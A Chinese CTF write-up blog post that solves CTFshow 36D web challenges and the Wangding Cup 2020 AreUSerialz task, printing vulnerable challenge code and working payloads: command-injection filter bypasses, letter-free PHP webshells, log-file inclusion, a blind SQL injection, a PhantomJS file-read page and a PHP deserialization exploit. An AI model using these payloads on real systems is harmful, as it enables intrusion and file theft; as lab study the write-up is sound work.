CTFshow36D&&网鼎杯AreUSerialz

CTFshow36D&&网鼎杯AreUSerialz

朴实无华1
知识点:PHP精度绕过、MD5爆破(三重md5)、RCE绕过

朴实无华2
知识点:

WEB_你取吧
知识点:无字母数字webshell

WEB_ ALL_ INFO U_ WANT
知识点:日志包含

WEB_给你shell
知识点:PHP黑魔法 require

WEB_ Login_ Only_ For_ 36D
知识点:\注释掉单引号,后面进行盲注,使用 LIKE BINARY代替=

WEB RemoteImageDownloader
知识点:PhantomJS图片渲染中的SSRF/本地文件读取漏洞

[网鼎杯2020]AreUSerialz
知识点:php反序列化

CTFshow 36D

朴实无华1

给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.-]/', $num)) {
die("非洲欢迎你1");
}
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?> 金钱解决不了穷人的本质问题

在本地测试后发现isPalindrome函数的作用:当输入的$str对称时返回true,不对称的时候返回false
测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
echo '一'.$l;
break;
}
if ($l==1) echo 'true'.$l;
else echo 'false'.$l;
}
$a = $_GET['num'];
echo isPalindrome($a)
?>

1588258144373

1588258162279

level1中的第二个if限制了输入只能为0-9的数字和. -
第二个if限制大小
第三个if则矛盾了,既要$numPositve === $numReverse对称,又要isPalindrome($num)返回false即不对称
测试发现,如果先抛开第一个正则表达式,则后面的可以使用一个对称的数字前面加上一个空格来绕过
1588258712691

但是加上正则后始终绕不过,最后发现当传入111.-111时能绕过,神奇。
leve2为md5绕过,传入经过两个编码后还是0e开头的数字即可

使用脚本碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!python2
import hashlib
import re
def MD5(data):
return hashlib.md5(data).hexdigest()

def main():
a = 100000000
while True:
data = '0e' + str(a)
data_md5 = MD5(MD5(data))
a = a + 1
if(re.match('^0e[0-9]{30}',data_md5)):
print(data)
print(data_md5)
break
if(a % 1000000 == 0):
print(a)
if __name__ == '__main__':
main()

得到

0e1138100474

1588292465031

成功绕过

level3
这里过滤了很多关键字,过滤了空格可以使用%09(tab)来绕过,最终payload:

?num=111.-111&md5=0e1138100474&get_flag=ca\t%09../../../flag

朴实无华2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.]/', $num)) {
die("非洲欢迎你1");
} else {
if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
die("没有这样的数");
}
}
if ($num != $numPositve) {
die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
}

if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
if (preg_match("/['\*\"[?]/", $get_flag)) {
die('非预期修复*2');
}
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

非洲欢迎你1

出题人对题目做了稍微的修改
level1
相比前一题去掉了-,并且限制了.的输入个数,并且intval($num)==$mun。
这里我使用00.成功绕过。
level2
这里没变,使用md5=0e1138100474绕过
level3
这里过滤的有点多了
但是尝试了一个之后发现可以使用ca\t%09flag.p\h\p来绕过php
1588391093482

WEB_你取吧

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('nonono');
}
}
eval("echo($code);");
?>

这里$_[0]就是a
根据题目意思需要我们通过数组的形式构造出字符串,题目应该是读取$hint
由于不知道怎么构造,所以先本地测试了一下,这里本地构造system(‘dir’)
1588492207585

这样直接输出没问题,但是通过url传参便出现了问题
1588492713415

本来想使用.来连接,但是那样便不能执行
接着测试了一下,发现不是.的问题,猜测应该是括号的问题
1588512783949

问了一个大佬后发现前面的函数名也要加上括号

1
($_[15].$_[7].$_[15].$_[8].$_[12].$_[5].$_[14])()

1588516368081

1
($_[18].$_[24].$_[18].$_[19].$_[4].$_[11])($_[22].$_[7].$_[14].$_[0].$_[11].$_[8])

最后构造$hint

1
${$_[7].$_[8].$_[12].$_[19]}

解码得到

1
2
3
<?php
$a="/phpjiami.zip\n/hint.php";
?>

将其下载下来后有混淆,使用php反混淆工具解密,发现shell,在hint.php链接获得flag
https://www.unphp.net/
解密后为

1
2
3
4
5
6
?><?php @eval("//Encode by  phpjiami.com,Free user."); ?><?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4];
@$c($_POST[7-1]);
?>
<?php

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
function decrypt($data, $key)
{
$data_1 = '';
for ($i = 0; $i < strlen($data); $i++) {
$ch = ord($data[$i]);
if ($ch < 245) {
if ($ch > 136) {
$data_1 .= chr($ch / 2);
} else {
$data_1 .= $data[$i];
}
}
}
$data_1 = base64_decode($data_1);
$key = md5($key);
$j = $ctrmax = 32;
$data_2 = '';
for ($i = 0; $i < strlen($data_1); $i++) {
if ($j <= 0) {
$j = $ctrmax;
}
$j--;
$data_2 .= $data_1[$i] ^ $key[$j];
}
return $data_2;
}
function find_data($code)
{
$code_end = strrpos($code, '?>');
if (!$code_end) {
return "";
}
$data_start = $code_end + 2;
$data = substr($code, $data_start, -46);
return $data;
}
function find_key($code)
{
// $v1 = $v2('bWQ1');
// $key1 = $v1('??????');
$pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');");
$pos2 = strrpos(substr($code, 0, $pos1), '$');
$pos3 = strrpos(substr($code, 0, $pos2), '$');
$var_name = substr($code, $pos3, $pos2 - $pos3 - 1);
$pos4 = strpos($code, $var_name, $pos1);
$pos5 = strpos($code, "('", $pos4);
$pos6 = strpos($code, "')", $pos4);
$key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2);
return $key;
}
$input_file = $argv[1];
$output_file = $argv[1] . '.decrypted.php';
$code = file_get_contents($input_file);
$data = find_data($code);
if (!$code) {
echo '未找到加密数据', PHP_EOL;
exit;
}
$key = find_key($code);
if (!$key) {
echo '未找到秘钥', PHP_EOL;
exit;
}
$decrypted = decrypt($data, $key);
$uncompressed = gzuncompress($decrypted);
// 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩
if ($uncompressed) {
$decrypted = str_rot13($uncompressed);
} else {
$decrypted = str_rot13($decrypted);
}
file_put_contents($output_file, $decrypted);
echo '解密后文件已写入到 ', $output_file, PHP_EOL;

1588752034343

还可以使用chr()直接拼接

1
2
($_1=$_[2].$_[7].$_[17]).($___=$_1(99).$_1(97).$_1(116).$_1(32).$_1(47).$_1(102).$_1(108).$_1(97).$_1(103)).($_2=$_1(115).$_1(121).$_1(115).$_1(116).$_1(101).$_1(109)).
($_2($___))

1588736721594

P神的无数字字母getshell

1
code=%27123%27);$_=[];$_=@%22$_%22;$_=$_[%27!%27==%27@%27];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____=%27_%27;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);#&_=system('cat%20/flag');

还可以使用三元运算符构造hint
参考CTFshow 36D杯

WEB_ALL_INFO_U_WANT

查看源码提示使用扫描器,但是扫描器扫不动。盲猜index.php.bak
得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

visit all_info_u_want.php and you will get all information you want

= =Thinking that it may be difficult, i decided to show you the source code:


<?php
error_reporting(0);

//give you all information you want
if (isset($_GET['all_info_i_want'])) {
phpinfo();
}

if (isset($_GET['file'])) {
$file = "/var/www/html/" . $_GET['file'];
//really baby include
include($file);
}

?>



really really really baby challenge right?

访问all_info_u_want.php?all_info_i_want=1得到phpinfo页面
还有一个文件包含,这里尝试使用日志包含,先访问/all_info_u_want.php?all_info_i_want=1&file=../../..//var/log/nginx/access.log成功显示日志信息,说明有戏。抓包修改

1588296881365

包含成功,蚁剑连接,根目录下放了一个假的flag。。。提示在/etc里面
根据修改的时间最终在/etc/opt/secret/下发现flag。

WEB_给你shell

F12发现?view_source得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}

function checkCookie($s) {
$arr = explode(':', $s);
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}

function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
$_h_p = strtoupper($_m_u);
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
$_i = ord($_i);
print_r($_i & 0xC0);
}
die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

先本地测试各个函数的作用
checkCookie
explode将传入的参数变为数组,然后检查格式,其格式只能为{"secret":"770F0F8B605CFD2BA494849D948D34EF"}
1588392187492

haveFun
该函数的作用是将传入的参数进行一次md5加密,之后转换为大写。再将每一个字符截取出来,如果是字母便转换为64,是数字就转换为0,最后拼接输出,但是好像并没有什么用
1588396772261

这里使用的是三目运算符
代码逻辑如下:

  • 有个名为secret的cookie,存的是json
  • 使用checkCookie()函数检查cookie,确保格式
  • 如果secret对应值和$flag_md5相等则给出shell,不等则调用haveFun()函数

这里使用burp爆破一下,发现secret值为115的时候相等

1588812352191

官方wp:

1588812545032

访问webshell,cookie改为{“secret”:115},传入give_me_shell=1得到下一个页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php
error_reporting(0);
session_start();

//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";

if (!$_SESSION['login'])
die('<script>location.href=\'./index.php\'</script>');

if (!isset($_GET['code'])) {
show_source(__FILE__);
exit();
} else {
$code = $_GET['code'];
if (!preg_match($secret_waf, $code)) {
//清空session 从头再来
eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
} else die('hacker');
}

/*
* When you feel that you are lost, do not give up, fight and move on.
* Being a hacker is not easy, it requires effort and sacrifice.
* But remember … we are legion!
* ————Deep CTF 2020
*/

测试后发现过滤了很多字符,但是没有过滤取反
payload

1
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
  • 首先用]=1闭合SESSION
  • 分号作为PHP语句的结尾,起到表示语句结尾和语句间分隔的作用,而对于php的单行模式是不需要分号的,因此用?><?来bypass分号
  • 没有括号 使用那些不需要括号的函数 这里使用require
  • 没有引号表示不能自己传参数,这里使用取反运算
  • 由于PHP黑魔法 require和取反运算符之间不需要空格照样执行

读取flag.txt
1588818706809

然后取反/flag包含一下flag就出来了:
1588819090242

1
?code=]=1?><?=require~%d0%99%93%9e%98?>

1588818722627

WEB_Login_Only_For_36D

此题为一个登陆框,右键源码发现两个提示

1
2
<!-- if (!preg_match('/admin/', $uname)) die; -->
<!-- select * from 36d_user where username='$uname' and password='$passwd'; -->

抓包发现过滤了'=and、、、
ascii,mid,substr也过滤了,只能使用left
payload:

1
2
/**/or/**/if(length(password)/**/like/**/15,sleep(10),1)%23		#判断密码长度
/**/or/**/if((left(password,11)/**/like/**/"ilovethlrt"),sleep(10),1)%23 #获取密码

这里我使用的burp爆破,脚本后面再写
得到密码为ilovethlrtysixd,这里我犯了一个错误,like是模糊查询,不区分大小写。这里要使用 LIKE BINARY
payload:

1
username=admin\&password=/**/or/**/if((left(password,1)/**/LIKE/**/BINARY/**/"a"),sleep(5),1)%23

1588425465683

最后得到admin:ILoVeThlrtySixD登录得到flag

WEB_RemoteImageDownloader

打开题目为一个输入框,其会将输入的网址返回截图
1588746623875

大佬wp中推荐了一篇文章
从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞
Breaching the perimeter - PhantomJs Arbitrary file read

过程为
在自己的云服务器上写一个html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html> 
<head>
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///flag");
x.send();
</script>
</body>
</head>
</html>

1588751013546

访问该html,图片 返回的即是读取的内容
1588751062284

[网鼎杯2020]AreUSerialz

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

is_valid函数:

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

反序列化之前会做逐字判断,ascii必须>=32或<=125
但是这里会ban掉不可见字符\00,这个在序列化protected属性的对象时会出现,我们需要绕过它,php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了
我们可以序列化构造$op=”2”和$filename=”flag.php”,调用read()函数读取flag.php,但是在进行read()之前就会调用__destruct()魔术方法,如果$this->op === “2”就会设置$this->op为”1″,而”1″在process()函数中会调用write()函数,不能读取文件。但是process()函数中使用了不严格相等if($this->op == “2”),这里弱类型可以通过int来绕过我们可以构造$op=2来绕过,也可以使用2e0绕过
payload:

1
2
3
4
5
6
7
8
 <?php
class FileHandler {
public $op=2; //这里直接构造整型i
public $filename='flag.php';
public $content;
}
$a = new FileHandler;
echo serialize($a);

输出:

O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:8:”flag.php”;s:7:”content”;N;}

之后通过str传入即可
1589163598885

也可以使用伪协议读取,BUU上复现时题目将flag路径改为了/var/www/html,省去了找路径这一步
payload

1
2
3
4
5
6
7
8
 <?php
class FileHandler {
public $op='2e0';
public $filename='php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php';
public $content;
}
$a = new FileHandler;
echo serialize($a);

1589164551600

参考文章:https://clq0.top/2020/05/%e7%bd%91%e9%bc%8e%e6%9d%af2020-web-writeup/

文章作者:CyzCc
最后更新:2020年06月25日 20:06:55
原始链接:https://cyzcc.vip/2020/05/11/ctfshow36d/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------